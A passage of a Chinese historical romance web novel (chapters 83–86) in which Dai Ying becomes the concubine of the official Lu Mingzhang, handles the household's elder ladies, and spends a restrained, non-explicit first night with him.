戴万如挥舞着手兜住飘落的纸笺,纸笺飘落慢悠悠,越发衬得人手脚慌乱。
她将信纸抚开,一眼扫去,极快地攫取重点。
戴万如很快明白信中内容的含义,在看过信中内容后,她的神思不止于信的内容,扩散地更大。
陆铭章欲纳戴缨,陆府来人,这件事不过发生在眼前。
而平谷离京不近,从京都送信去平谷,再到平谷回信,这中间少说得月余。
可这封信却来得如此及时,那么只有一种可能,戴缨前脚离开陆家,陆铭章后脚就给平谷修书。
也就是说,陆铭章的这封信也就比她的信晚到一步。
戴万昌先收到她的书信,接着给她回信,信中表示,戴缨的亲事全权委托她这个姑母,在这封回信发出后,继而接到陆铭章的信件。
在收到陆铭章的书信后,戴万昌又给她修书一封,也就是现在她手里的这封,然而,戴万昌没有直接寄给她,为了表诚,寄到了陆家,意为让陆铭章先过目的意思。
这是一时兴起么?分明是蓄谋已久啊……想到这里,戴万如再也支撑不住,一口气没接上,往后仰去。
还好下人眼明手快,将她托住,夫妻一场,谢山也怕她真出事,让人请了大夫来。
大夫来了,探了脉象,开了两副方子,另外嘱咐。
“夫人此乃化火上冲,以致气血逆乱,故突然晕厥。”
谢山问道:“此病症要不要紧?”
大夫放下笔管,拈髯道:“心脉急促紊乱,是急怒惊惧交加所致,待老夫先施针,使其苏醒。”
谢山点头道:“劳大夫看治。”
那大夫取出银针灸过相应穴位,戴万如终于迷离转醒。
大夫走之前再三嘱咐:“之后万望静养,切记,切记,不可再令尊夫人动怒受激,否则后果难测。”
谢山应下,让人领大夫下去喝茶,并取酬劳。
待人离开后,谢山看了一眼榻上的戴万如,沉沉地叹了一口气,也不再逼问她,甩袖出屋,去了小妾水杏院里。
……
陆铭章纳戴小娘子为妾室,这一消息很快在陆家传开,上下皆知。
于稍稍富绰的人家而言,娶妻自不
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必说,按相应的规制备礼迎娶,至于纳妾,若是男主人有心,或是十分疼爱那女子,排场上虽不比娶妻,到底还是会置办几桌酒席。
一直以来皆是如此。
这还只是粗富人家,遑论陆家这种仕宦之族,不说大操大办,也该热闹一下。
然而……就在陆家上下这么以为时,却什么也没有,没有酒席,没有任何衣物、首饰置办。
无声又无息,冷清的可预见这位戴小娘子之后的凄景。
她成为家主房里人的唯一凭证就是到上房,给陆老夫人奉了一盏茶,茶香袅袅间,她的身份就此落定。
然,她进入一方居后,家主连日忙公务,很晚才从宫中归来,并未招她进房侍奉。
石榴从外间接过小丫头端来的热腾腾的牛乳羹,走上前,先看了一眼侍立在老夫人身侧的戴缨。
暗忖道,这位戴小娘子从前客居陆府,只要往上房来,老夫人总拉她坐到自己身边,同自家孙女儿没两样。
而今身份一转,老夫人身侧的位置是坐不得了。
戴缨看向石榴,把石榴眼中复杂的神色捕了个正着,石榴刚欲抬步上前,戴缨已向她走来,看了一眼托盘的小彩盅。
“我来。”接着又道,“劳姐姐另备一个小碗。”
石榴不明其意,不过仍照戴缨说的做了,让下面人又拿了一个小碗来。
戴缨执着木托子走回陆老夫人身侧,从丫鬟端来的盆净过手,再以巾帕将手拭净,素手揭开彩盅。
只见盅内乳白的汤面,温润如脂,正中缀着果仁碎。
戴缨拿起汤勺,将小盅的牛乳舀至另一碗里,然后双手奉到陆老夫人面前。
“这牛乳羹炖得香滑,您必是喜欢,只是此物性腻,阿缨怕您晚间用了不克化,明日起来身子沉沉的,那可就是我的罪过了,不如先略尝尝,若觉得顺口,我再另添些,既不伤身,也能解馋。”
陆老夫人点了点头,接过,拿汤匙尝了几口,将小碗递回给戴缨,戴缨接过,又斟了一碗热茶递上。
老夫人啜了几口热茶,喉头的甜腻瞬间被清茶压了下去。
石榴从旁看着,老夫人从前不是没吃过牛乳羹,确有贪嘴吃多的情况,但她们这些做下人的,不敢多说什么。
正想着,老夫人开口了,轻言怨嗔。
“我看你不是担心我贪嘴,分明是自己想吃,偏拿我这老婆子当由头,另温一碗在那里,一会儿等我歇了,你好偷食。”
对于先前发生的种种曲折,她确实有些恼这丫头,是以,当儿子欲将她收入房中,自己并不赞成。
然而归咎起来,她对这丫头的气恼并非出自她本人的不好,相反,撇开出身,这孩子是个极好的,会讨人欢心,不尽说好话,但只要从她嘴里说出来,那调性就使人爱听。
也不知怎么,在儿子左一句右一句的糊弄下,鬼使神差地就点了头。
戴缨笑道:“阿缨这么点小心思,到底瞒不过您的法眼,老夫人分明看穿了,却佯装不知,这下好了,我便是偷嘴,也是奉了您的默许。”
老夫人笑着摇了摇头:“就坐我身边吃,不许偷食。”
戴缨哪里客气,端过小彩盅真就坐到老夫人身侧,香甜地吃起来。
石榴看在眼里,心道,她刚才还想着,老夫人身侧的位置这位戴家小娘子再坐不得,转眼人家就坐上了。
也是,能讨得家主那样端严的人的欢心,何论老夫人呢,正想着,下人通传,大爷回了……
第83章 男女房中事
整阔的宫道上,因天气的原因,地面湿浸浸的,映着灰朦的夜色。
几名宫侍提灯,躬身趋步,前后环护着一名身形修长的男子,正往宫外行着。
前方的岔路口转来另一行人,同样的,宫侍环伺,中间抬着一乘辇。
辇上坐着一俏丽的年轻妇人,宫装富丽,头冠宝华,正是太后赵映安。
男子和引路的宫侍们侧过身,退到甬道旁,然而,乘辇没有远去,反是行到男子面前落下。
赵映安下了乘辇,不必言语,玉手稍一抬,宫人们俱躬身退开。
“你……纳了一房妾室?”
陆铭章应“是”。
赵映安点了点头:“也是,像大人这般年岁的男子,房里该当有个伺候的。”
语气平常,然而,接下来的一句话,却大有意味,“只是这当家主母的人选不可随意,大人还是应多多斟酌考量,本殿以为,这世间少有女子能配得上大人,只有品貌冠绝者方能同大人并肩,大人以为呢?”
陆铭章抬眼看向对面,即使天光黯淡,也掩不住那一张瑰丽的盛颜。
“臣以为太后说得是。”
赵映安不知在期待什么,他回答她的话向来无可挑剔,不带丝毫个人情愫,她甚至想无理地挑动他思绪的起伏都不能,哪怕是怨呢,只要是他,对她来说,就是惊天的恩赐。
可是没有,他对她的态度,只是一个臣子该有的恭谨,没有半分越矩。
她怕他们之间本就短暂的对话结束太快,于是随口道:“以你的身份,就是纳妾,该置办几桌酒席才是,让人有些脸面,也是一番热闹。”
陆铭章语气淡淡的:“为妾者,伺候主子是本分,无须脸面。”
赵映安以袖掩嘴,眼中露出笑意,似是满意了,不再说什么,转身坐上乘辇去了。
待人远去后,陆铭章一众才重新回到甬道中间,往宫外行去。
……
戴缨听陆老夫人的话,真就不客气地端起小彩盅,饮用牛乳羹。
偏老夫人就喜欢她不扭捏的姿态,还特意对石榴吩咐:“日后多备一碗,免得她又找由头抢我的。”
戴缨放下汤匙,拿帕子拭了嘴角:“就是老夫人的这份才香甜。”
正说着,下人来传大爷回了。
接着门帘打起,陆铭章走了进来,先向上拜了拜,接着走到老夫人身侧坐下,眼睛落在桌案上的两个碗,一抬眼又扫到戴缨嘴唇上沿的奶沫子。
然后不动声色地同陆老夫人闲谈起来。
“行了,天也晚了,夜里寒露重,把你的人领走罢。”到这个时候,陆老夫人有些困乏了。
陆铭章笑着应下,起身,看向坐在陆老夫人另一侧的戴缨。
戴缨跟着起身,向老夫人福了福身,随在陆铭章的身后往屋外走去。
陆老夫人从后看着他二人一前一后往外走,恍然发觉这熟悉的一幕在此之前,已不知上演过多少回。
出了上房,戴缨跟在陆铭章身侧,两人就这么在小径上漫走着。
自她进入一方居已有几日,仍住在侧屋,他从宫中归来时她已睡下,次日醒来,他的屋室已空。
她的麻烦他替她解决了,但她并不知,在她离开陆府后,陆铭章就给平谷去了一封有关她婚嫁的书信。
这封书信比戴万如的那封书信晚到,回信自然也晚了。
陆铭章写这封信时没有多做考虑,目的很简单,就是有些心疼这丫头,想让她可以自在抉择终身。
这封信到他手上后,他没有及时拿出来,想看看她凭自己的手段,能走到哪一步。
然而,中间横出一桩意外,便是周虎抓了陈左,在他意料之外,也在她的意料之外。
这件意外紧迫得让她再没有时间思考和应对,它将她驱使到雨巷拦他,解髻除簪,跪请收留。
那一刻,他说不清自己是什么心绪,他可以不要回报地伸出援手,于他来说,再容易不过的事,最后却无声息地将那柄白玉簪收入袖中。
之后,她作为他的妾室重新进到众人的视野。
陆铭章侧眼,看向她的脸,戴缨觉察旁边射来的目光,回看过去。
“大人在看什么?”
陆铭章抬手点了点唇。
戴缨先是一怔,接着明白过来,赶紧抽出帕子重新拭嘴。
两人就这么漫步回了一方居,院中的下人见二人一道出现,先是一惊,毕竟在他们的印象里这位戴小娘子身份有些不同,自进一方居伊始,就不曾在家主房里侍奉,这便是不得脸。
孔嬷嬷将这一切看在眼里,怎能不急,自家娘子若不能得陆家大爷宠幸,下场可以预见,还不是正头娘子,往后更是艰难。
可她焦急也无用,那位大人归来甚晚,像是有意冷着自家娘子一般。
今儿见他二人一同归来,心中大喜,可还不及她高兴太久,这二人一个回了侧屋,一个进了正屋。
两间轩子相邻,却是分开的门扇。
孔嬷嬷让人备了热水,又让归雁备下更换的软衣。
“换一套。”孔嬷嬷看着归雁手里的寝衣摇头道。
归雁低下眼,木托子里是一套绸质的水蓝色交领长衫。
“这套怎么不行?娘子常穿这件。”
“颜色太老沉,换件鲜亮点的,就拿那件藕合色的绢衫。”孔嬷嬷说道。
归雁惊着眼:“绢衫,不会太过轻薄么,那可是天热时才穿的,透肉呢。”
“你这丫头怎的这样多话,叫你换就换,听嬷嬷的话没错,快去。”
归雁悟过来,忙不迭地走到衣柜前,重新取出一件藕色绢衫,整叠好放入木托中。
戴缨从浴涌起身,不经意扫到木托中的寝衣,疑惑道:“怎的拿这件?”
归雁脸不红心不跳地说道:“屋里暖,都是
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一样,娘子若是不喜,婢子再换一套来?”
“罢了,就它。”
戴缨穿戴好后从沐室出来,归雁拿了暖炉给她烘干湿发,正在烘发时,孔嬷嬷走来接过小暖炉。
“娘子今夜在哪里歇宿?”孔嬷嬷一面轻柔地替她烘着发,一面问道。
戴缨呆了呆,反应过来,面上悄悄爬上红晕,静默不语。
“老奴多嘴,只是姐儿既然走到了这一步,就该多替自己打算。”孔嬷嬷又道,“陆家大爷比你年长许多,待你的态度也温和,眼下,你又是他身边的独一份,更该利用好这个优势。”
戴缨仍是不言语,好在屋里光线暗,映照不出她满脸的热意。
孔嬷嬷言语轻轻慢慢,慢她女儿家不好意思,见她默听着,没有抵触的意思,接下来准备说些男女房中事。
“这女子的头一次……”
话刚起了个头,戴缨忙打断:“这话就别说了。”
“我的姐姐,这个话你最该知晓,你现在羞着不听,一会儿该吃大苦头。”
戴缨哪是因为羞,从前的她是经历过情事的,只是那段记忆并不美好……
“嬷嬷,我知道,别说了。”
孔嬷嬷不好再多言,将她的湿发烘干后,再把屋里的残烛重新换过,退了出去。
戴缨呆坐于窗榻上,过了一会儿,慢慢坐起身,将窗扇半打起,探眼去看。
斜对面主屋的窗纱还亮着,接着,蒙蒙的光亮陡然一暗,戴缨的心也随之一忽闪。
嬷嬷说得没错,既然走到了这一步,就该好好替自己打算,如今她才入一方居,这府里上上下下多少双眼看着。
那种被欺压、被无视、被遗弃的日子,她不想再体验一次,眼下她最该做的,就是讨好陆铭章,得到他的恩宠。
等他娶妻后,她若有幸诞下个一儿半女,那么她的后半生不至于太难,这才是正经。
思及此,她下了窗榻,动作利索地披上狐裘斗篷,执起红烛,推开房门,往斜对面走去。
走到正屋门前又给自己提了提气,顺了顺半散的长发,拢了拢身上的斗篷,敲响了房门。
门那端很安静,她在门这端等得心慌,院外还有下人当值,脸上臊得慌,决定在心里数十声,若是他还不开门,她就走了。
一……门开了……
屋里熄了灯,光线黯着,陆铭章的脸隐在门影下,只有她手里微弱的火色在他面上勾勒。
微火中,他一身宽大的素色长衫,头发半散,应是刚从被中出来,寝衣襟口有些褶皱。
她并没有说话,也不知道说些什么,但夜深时分,她执烛立于他的门前,他该是清楚的。
陆铭章静默地看了她一息,侧过身,让她进屋,待她进屋后,房门在身后掩上。
屋里很暖,她的脸开始发热,后背发汗,她走到桌边,不知所措地立在原处……
第84章 春水初融
细细的火烛照不亮宽大的屋室,甚至照不全陆铭章的头身,他离她有一段距离,而这一段距离,戴缨迈不出。
他的面色让人捉摸不透,对她并不是很满意的模样,这让她有些难堪。
同样的,戴缨僵立不动的身形,还有面上看似屈辱的忍耐让陆铭章心里起了一股无名火。
身体发肤,受之父母,那日雨巷,她除簪散发,双手举过头顶,呈上贴身之物,无非是在告诉他,她愿献上自己的尊严和自主。
簪献青丝,以身为契。
这会儿却又这番姿态,回回都是如此,有求于他时,便做足低姿态,在他面前讨巧卖乖,利用完立马变脸。
她当他是什么,随意呼来喝去,偏偏他又狠不下心不管她。
她一定是后悔了,后悔不该冲动拦他。
陆铭章缓缓低下眼,从来洞悉人心的自己,到了这一刻,也不知该如何是好。
更准确地说,他不知该拿她怎么办。
孤男寡女,在外人看来,这闭上房门的一刹那,是缠绵,是温存,是不可言说……然而并不是,他二人就这么僵持着。
戴缨的脸越来越红,不是羞的,是热的。
她是真热,这屋里暖气燃得旺,身上还披着厚实的斗篷,想要解开罢,里面穿着半透的绢衫,实在不好意思脱。
这会儿无比后悔,后悔该换一件正经的寝衣再来敲门。
若穿得严实点,就算脱了斗篷,还有寝衣遮羞,然而,现下脱了斗篷,里面半透的绢纱只会让她更羞。
“呼”一声轻轻的吐息,她将手中的蜡烛,也是这房间唯一的光亮吹灭。
陆铭章觉得眼前一黑,在眼睛未适应黑暗前,一个气息靠了过来,轻轻地偎于他的身侧。
他的手臂感知到婉妙的柔软,温香地依着他,只有一层轻薄的绢纱。
他于黑暗中牵起她的手,带她往里间行去,然后,二人的身形掩于帐中。
寂静中,戴缨清晰地听到自己的心跳,慌乱,失控,他握着她的手,躺在她的身边。
他的手心起了汗,拇指在她的手背轻轻摩挲了两下。
“悔么?”
陆铭章的声音自她身侧响起。
这个问题,戴缨不是没想过,悔不悔她不知道,只是觉得无力,兜兜转转仍走到了这一步。
就在她犹豫的这一瞬,陆铭章松开她的手,说道:“你忧心府中人势力,教你日后不好过,这才不得不深夜敲我房门,是不是?”
戴缨没说话,有这一层原因。
接着陆铭章似是低叹一息:“既然跟了我,必定护你周全……”
说罢,侧过身,面朝外,背对着她,戴缨也跟着侧身,面朝里,背朝外。两人就这么背对着背,隔出一条银河天堑。
护我周全?这话能信?如今的戴缨不能信人。
曾经谢容多么情深意切,他说,阿缨,以后长大我娶你为妻,那陆三爷不也一样?多么信誓旦旦,他说,做行鹿轩的女主人,一切由我来主张,不叫你受半分委屈……
她认清了自己的份位,也知道自己最该做的就是趁陆铭章对自己的心还热乎,博得他的怜爱。
如今他的态度还是太浅,让她有些捉摸不透,这不够,还不够……
屋室暗着,二人的眼睛却睁亮着,一个看向虚空的某一处,一个看向帐壁。
就在陆铭章阖眼时,戴缨温暖丰软的身体贴上他的后背,随之,一条柔软的酥臂环了上来。
随之柔净的声音从后响起:“大人喜不喜欢阿缨?”
陆铭章身子一怔,缓缓转过身,面对着她,戴缨微仰着脖,回看过去,再次问道:“喜欢么?”
陆铭章低下头,寻到她微扬的唇角碰了碰,轻轻地“嗯”了一声。
戴缨听后,双手攀上他的肩头,把脸迎向他,带了邀请的意味。
“大人不是说过,会多疼疼我么?”
陆铭章哪受得了她这副妖精样,轻轻地将她环住,手在她的纤背抚过。
轻薄的绢纱并不能阻隔两人的温度,她甚至能感受到他掌间的颤意。
不但感受到他掌间温热的颤意,在他的抚弄下,还感受到自己身体明显的曲度。
这种感觉太过微妙,那段不堪的回忆中,她是迎合的一方,和现在截然不同。
她从来不知,原来一个上位者施舍的别样温柔,是一味让人上瘾的蛊,他怜她羞怯,并未褪尽她的衣衫,只以恰到好处的触碰为引,在红粉遍布半身时,他才悄然探入裙摆,如同春水初融。
他小心翼翼,明明力道很轻,却重重撞在她的心上。
她的心跳一下又一下地被撞动,而他的心跳叠在她的上方,让她生出一种错觉,连他的心跳都在依就她。
明明那样刻板威肃的人,怎么会这样温柔呢,她受不了这样的温柔,不适应,眼睛开始发热,淌下两行泪。
陆铭章停下动作,拿衣袖替她拂去:“难受?”
说罢,就欲抽身,戴缨却将他环得更紧:“不难受,大人抱我紧些……”
陆铭章不敢用力,知道她疼,身体的僵涩骗不了人,所以只能放缓,再放缓……
在近乎静止的温柔中,他吻上她华泽的肩头,褪去她的小衣,再一路小吻至她的指尖,这双莹白的柔枝手,他惦记很久了。
他将她的食指横向衔住,牙舌稍稍用力。
轻柔的啃啮带来一股钻心的痒意,这感觉倏然蹿升,在她体内汇聚成令人战栗的欢愉。
两人的气息渐渐平稳,陆铭章披衣下榻,走到房门前,打开门,朝外吩咐了一声。
立时就有丫鬟提水到沐间。
两人先后净过身,床面重新铺整,便有婆子端了一碗避子汤进来。
当看到这碗避子汤时,戴缨浑身的热气散了个干干净净,她知道,这是规矩,主母还未进门前,妾室不可以有子嗣。
就在她怔愣时,陆铭章的声音响起:“喝了,明儿我从宫医那里讨些不伤身的避子丸。”
戴缨看向陆铭章,看不清他眼中的情绪,于是一声不言语地接过汤碗,仰头喝了。
婆子接回空碗,带着一众丫鬟退了出去,带上房门。
两人重新躺下,衾被中才升起的暖意没了,凉凉的。
戴缨面朝里侧过身,陆铭章的声音从后响起:“现在还不行……”
戴缨“嗯”了一声,开口道:“阿缨明白,天晚了,歇了罢。”
随后闭上眼,假作睡去。
这一夜,就这么过了,天未亮时,身边有了动静,迷蒙中她睁开眼,才发现自己昨夜临睡前恨不能贴着墙,把两人的间隔拉开。
然后睁眼醒来,她越线了,大半边身子挤到他的位置,头也不在枕上,反而歪在陆铭章的枕下,不知是个什么姿势。
而陆铭章正撑起半边身子,拉了拉自己的衣袖:“抬抬,压住了。”
戴缨就势一扭身,陆铭章抽出自己的衣袖:“你睡觉太浅,这样轻的动作也能醒。”
戴缨将脸埋在被中,“唔”了一声,因为屋里太热,把一条白生生的腿伸出来,隔在微凉的被上。
陆铭章见她一副孩子样,有些想笑:“你再睡会儿。”
戴缨仍把脸埋在被间,回应了一声。
陆铭章趿鞋下榻,打下帐幔,屋外守候的七月听到动静,轻叩房门,引了两名丫鬟进来,开始伺候主人梳洗。
期间目光偶尔扫向床榻,碧色的绢帐掩着,只在床沿露出一点点缝隙,轻纱朦胧看不清明。
谁能料到这位客居于他们府上的小娘子,竟成了家主的枕边人。
想到这里,不免又想到家中的三爷,他如今出京外办了,若是回来了……只怕要闹大……
因着曹老夫人那张嘴,私下里大家都知道三爷欲以妻礼迎戴缨,谁知抵不住曹老夫人以死相胁,最后不仅没成事,反让戴小娘子被请离。
好好的一人,在府里挺受欢迎的,走的时候多少有些不鲜亮,谁知没几个月,人又杀了回来,好家伙,还是直接从大爷轿中下来。
这还不算,就在众人以为她以后会受冷时,人家转眼就宿在了主屋。
家主都起身了,她仍睡着,并不起身伺候,就眼前的情状,必是家主默许纵容的。
戴缨隔着绢帐看丫鬟们替陆铭章穿戴朝服,目光落在了那身威肃的紫衣上,心头涌起一个微妙的念头,下回要亲手摸一摸,感受一下这象征权势的衣袍。
不知是不是感受到她的视线,陆铭章侧过头隔着绢帐往她这边看了一眼,亮处看暗处,明知道他看不清,却还是惊得缩了脖。
房门再度开启,阖上,屋中只剩她一人,于是将头埋向衾被间,寻着铺位上的暖意,索性枕着他的枕头重新睡了过去。
不知睡到什么时候,响起叩门声,才再次睁开惺忪的睡眼。
懵怔了一会儿,看了眼碧青的帐幔,恍惚间以为自己仍在揽月居,那边的床帐也是这个色调。
“娘子?醒了么?”
归雁的声音从门外传来。
戴缨缓了缓神,应了一声:“醒了。”
房门被推开,归雁带了两名丫鬟进来,揭起床帐,端了热水进来伺候。
戴缨看着镜中女子,眼眸清亮,分明没在笑,嘴角却带了自然的弧度,也不知想到什么,两腮晕上天然的胭脂。
接着将手心贴了上去,降一降颊上的躁意,然后打量起这间屋室。
云纹落地罩将外间和里间隔开,再有一扇十分阔大的黑漆螺钿山水屏风,巧妙地隔出沐间。
落地罩后方是黄花梨的架子床,挂着碧青色床帐。
外间的窗边设有半榻,榻上安置小几,几上摆有香炉,袅袅烟丝从炉盖升起。
四壁悬着几轴水墨山水与书法条屏,皆是当代名家的手笔,意境萧散,另一边设有一张紫檀书案,案上陈设极为清雅。
这间卧房处处透出一种内敛的、不容置疑的华贵。
穿戴整齐后,戴缨去上房给老夫人请安。
老夫人起身早,厨房已开始摆早饭,上饭期间,陆婉儿和陆溪儿前后脚地来了……
第85章 专在这里候我?
陆婉儿径直朝老夫人道了万福,然后坐到老夫人身边,冷着脸,一个眼神也不给戴缨,似是在极力忍耐着什么。
陆溪儿也向老夫人问过安,在下首寻了个位置坐下,偶有几眼瞟向戴缨,眼神复杂。
早饭呈上,老夫人仍像从前那样,叫几人围坐,陪她吃些,若是之前,戴缨同陆家姐妹一样陪坐用饭。
可现在身份有了转变,就是做主母的正头娘子们也要在婆母跟前立规矩,别说她这么个身份。
是以戴缨并不坐下,侍在老夫人身侧贴心地布让菜馔。
用饭期间,只有碗筷、汤匙轻磕的声响,戴缨熟稔老夫人饮食,布菜对她来说,并不难。
一顿饭安安静静用罢,正在丫鬟端香茶供几人漱口时,二房的何氏和三房的姚氏来了。
姚氏眼明手快,一来便接过戴缨手里的湿巾,笑道:“我来罢。”
说着,转递到老夫人手里,再从丫鬟手里拿过香膏,待老夫人拭净手后,揭开香膏盒,供老夫人润手。
何氏则侍到老夫人另一侧,从丫鬟手里取过小暖炉,待老夫人润过手后,将暖炉双手呈递:“这几日冷得厉害,天也阴沉沉的,只怕过不了几日要落雪呢,屋里虽燃着地炉子,还是需注意些。”
戴缨从旁看着,心中暗道,原来她身份的转变……有人比她接受得更快。
她能明显感觉到来自何氏和姚氏二人态度的异样,很微妙,让戴缨这个当事人想忽略都忽略不掉。
从前,她是谢家的表亲,而谢家同戴家有亲,因着这一层关系,她是客居的小娘子,二房同三房的两位夫人为了在老夫人面前讨趣,待她客客气气。
现在不同了,她成了陆铭章的侍妾,当然了,侍妾的身份不算什么,不至于让两位当家主母放在眼里。
可她肚子里会结下陆铭章的血脉,这便让她二人有了危机感,虽说大房有个崇哥儿,可到底不是陆铭章亲生的。
戴缨觉得好笑,这份敌视来得莫名其妙,她不过一个妾而已,难不成陆铭章日后不娶妻了?不生子了?就是没有她也还会有别人,值得她们这样。
用罢饭,陆家姐妹在上房陪坐了一会儿,陆老夫人便让她们下去。
两位夫人各自告了座,戴缨侍于老夫人侧手边,随时应候。
姚氏是个话密的,眼睛活,嘴皮子也灵光,她先看了一眼戴缨,朱唇启出笑意。
“有句老话怎么说来着,不是一家人不进一家门,这丫头一来我看着就和别人不一样,这不?总还是咱们家的,走了也给抓回来。”
何氏随话道:“还得是老夫人抬爱,不舍这丫头,想让她长久侍奉在跟前,也是她的福分。”
姚氏又道:“昨儿我家丫头在我跟前还问,一时不知要不要改口,从前唤戴小娘子,唤姐姐,这会儿可是乱了……怎么说好呢……”
话头子指向戴缨,却又恰到好处地欲言又止。
戴缨面上带着客气的笑,不说话,陆老夫人瞟了她一眼,开口道:“从前你这嘴跟抹了油似的,天南海北的总有话说,这会儿怎么又安静得跟那水里的鱼一样。”
“瞧老夫人说的,有二位夫人在您跟前,我这点子小见识哪敢拿出来现眼,只有静听的份。”
戴缨接着又道,“从前做姑娘,嘴上没个把门,在您跟前想着什么说什么,浑不知事,也就是老夫人心善,不同我计较,如今定了名分,再不敢由着性子来,全凭老夫人和府上的规矩定夺。”
老夫人听后,眼中闪过一抹赞赏。
姚氏那话有意把戴缨挑出来,且话不道尽,暗戳戳让她不上不下。
这丫头身份虽低,却也不叫人欺着,通篇不谈“改口”,只谈心性和言行分寸,以退为进,不正面对上,将尴尬的身份问题转到家族规矩上,把窘境化解。
陆老夫人笑着向姚氏和何氏说道:“你们看看,就她这样,由不得我不疼她。”
“可不是,别说老夫人,就是我听着也喜欢。”何氏笑说道,她不比姚氏会来事,眼见姚氏对戴缨挑起话头,遂端起看戏的心态,又眼见戴缨轻松化解,反把姚氏衬得没趣。
于是,何氏接下来的话锋对向姚氏,此时不踩一脚,更待何时。
“这么一大家子人,没个规矩束着,哪里能成?”何氏嘴角噙笑,对姚氏说道,“意儿年纪小不懂事,问你这个当娘的,你也小?也不懂事?不是我说你,这种话怎好拿出来在老夫人面前说?”
陆意儿是姚氏独女,年岁十三,半大不大。
姚氏攥着帕子,嘴角一抽,倏忽一转,再次笑吟吟:“嗐!瞧我这张嘴,欢喜得没了边,说错了话,自是按着规矩来唤一声姨娘。”
戴缨可不管这二房和三房是什么心思,她只有一个宗旨,就是把陆老夫人和陆铭章两尊大佛供奉好。
陆老夫人自不必说,是个讲规矩却又心善之人,好伺候。
陆铭章嘛……身份使然,喜欢端着脸,他对外人如何她不知道,对她而言还比较好说话。
有那么一两次,他先时不应她的请求,她再央一央,他就点了头。
戴缨回想着:一次是福兴楼,央他带她回平谷,他应了。
一次是中秋夜,央他观勾栏瓦舍演艺,他应了。
一次是书房,央他莫阻拦陆铭川娶她为妻,他应了。
一次是雨巷,央他出手相助……他应了……
这么想来,好像不止一两次。
陆老夫人有二房和三房陪说话,让戴缨去了。
戴缨刚出上房院落,就见路边有一人立在那儿,正是陆溪儿,见了她,招了招手。
“你怎的这么半天才出来?”陆溪儿问完,反应过来,戴缨如今的身份。
戴缨看着她,圆圆的脸冷得红扑扑的,两手揣在袖笼中,开口问道:“专在这里候我?”
陆溪儿点了点头,拿下巴往一个方向指了指:“去我院里说罢。”
院里的几个小丫头正拿笤帚扫地,其中一个眼快嘴快,见了戴缨,唤了一声。
“戴小娘子,你好久不来咱们这儿。”
旁边一个稍大的丫头,拿手对着她敲打:“乱叫什么,该是戴姨娘。”说着转头看向戴缨,“姨娘别见怪,小丫头不知事。”
戴缨在陆府最常往陆溪儿的院中走动,每次来这里,下人们都能得些好吃的、好玩的新巧玩意儿。
戴缨笑道:“能见什么怪,我这会儿被你们主子抓来训话来了。”
说得院中下人哄得一笑。
陆溪儿扯着戴缨进屋:“快进来,还有心情同她们玩笑。”
进了屋子,各自的丫鬟替她二人褪了大衣,又重新在手炉里添了银炭,塞回二人手里。
丫鬟们倒了热茶,端了几碟子小食,然后退了出去。
自戴缨进陆府已有几日,陆溪儿一时间不知该拿什么态度对她,从前是好姐妹,骤然间比她长了一辈。
“你到底怎么回事?!”虽是长了一辈,开口仍是关心的怨嗔。
戴缨捧起热茶啜了两口,不慌不忙的样子让陆溪儿着急,于是继续追问:“你先前进府是不是就存了这个念头?”
“什么念头?”戴缨反问。
陆溪儿盯着戴缨不语,一副何必明知故问的模样,戴缨叹了一息,说道:“没有,不敢想。”
陆溪儿只想亲耳从戴缨嘴里听一个回答,其实她心里也清楚,戴缨在府里也就同她走得勤,再就是往绸缎庄跑得欢。
哪怕小陆崇那样亲近她,每每也是小陆崇到揽月居寻她。
戴缨若真有不正之心,这么一大家子,上上下下那么些眼睛,早传开了。
最后还是她小叔说到她祖母跟前,想聘戴缨为妻,熟料祖母一闹,让戴缨在府中待不下去,只能离开。
“我小叔外出公办了。”
陆溪儿没头没尾地道出一句。
戴缨明白这话的意思,意思是等人回来,这个局面该怎么办?
然而让陆溪儿没想到的是,戴缨什么也没说,只“嗯”了一声表示知晓。
“你就不怕我小叔知道?”
“总要知道的,跟怕不怕有什么关系。”戴缨接着又道,“你大伯和你小叔谁更厉害?”
陆溪儿先是一怔,说道:“自然是我大伯。”
“那就是了,他都敢把我带回来,我怕什么。”
陆溪儿摇了摇头,说道:“不,你不知道,我小叔发起狠来……从前他尊着大伯,因为那是他兄长,反正这次不一样,只怕……”
听此一说,戴缨的心也提了提:“只怕什么?”
“这会儿我也不好说,反正待他回了,你就知道了,大伯脾气也不好,少不了一场闹的。”
“你大伯脾气也不好?”
这话倒叫戴缨吃了一惊。
陆溪儿点头道:“我大伯也就近几年沉了性子,他从前做的事你是不知……”讲到这里,陆溪儿顿了顿,“你猜我祖母为何那般惧他?”
“为何?”戴缨睁瞪着眼追问。
陆溪儿张了张嘴,又把话咽回,这事不光彩,她不太想说,可经不住戴缨催促。
“我说了,你放在心底,知道就行了。”
戴缨点头:“我你还不放心?快说。”说着,把桌上的瓜子攫了一把,嗑了起来。
接着,陆溪儿开口道出了一桩久远的往事……
第86章 风流往事
在戴缨清脆的瓜子声中,陆溪儿缓缓道来。
“那会儿我父母还在,也是听他二人闲话时说的。”
戴缨点了点头,示意她继续说下去。
“当年我大伯年纪不大,才十来岁罢……”陆溪儿说到这里叹了一息,又道,“其实我大伯一路走来挺坎坷的。”
这话叫戴缨不明白,从前的陆家虽说渐呈颓势,可到底是簪缨大族,族中先祖乃开国帝君的佐命之臣。
有道是,百足之虫,死而不僵,陆铭章生在这样的人家,能有什么坎坷,能比她还坎坷?
然而戴缨不曾想,越是世家大族,越如无尽无了的深渊,其中暗流汹涌,足以吞噬骨血。
相较普通人家愁柴米油盐不同,这些仕宦之族的内里,是一种更为复杂的禁锢。
很显然戴缨表露出来的不以为然昭示了她的内心。
陆溪儿怕她不信,说道:“我大伯十二岁中举,这个事情,你可知道?”
戴缨点了点头,这个她自然是知道的,十二岁中举这在大衍从未有过先例,且真要说起来,对外称的十二岁还是虚岁,当时陆铭章的实际年纪更小。
“也就是那年……出了一件事……”陆溪儿叹了一口气,手指抠着杯壁。
“什么事?”
陆溪儿迟疑片刻,此事关于她的亲祖母。
“我祖母同陆老夫人的事情,你大概也知道些,当年祖父将我祖母接到京都,那会儿的身份还是外室。”
当年陆家老大人还只是个青骢少年,一次出门游历,结识了正值青春的曹氏。
结果就看中了,至于看中的是曹氏的美貌还是……一想起曹氏的嘴脸,戴缨很肯定,当年陆老大人一定是因色起意。
后来更是在曹氏一众近邻远亲的撺掇下,如同那普通夫妻一般,拜了堂,成了亲。
再之后,陆老大人独自回了京都,临行前曹氏万般不舍,怕他一去不返,陆老大人拍胸保证,待回去禀明家人,定会派人接她去京。
因有这一番交代,曹氏才依依不舍放人离去。
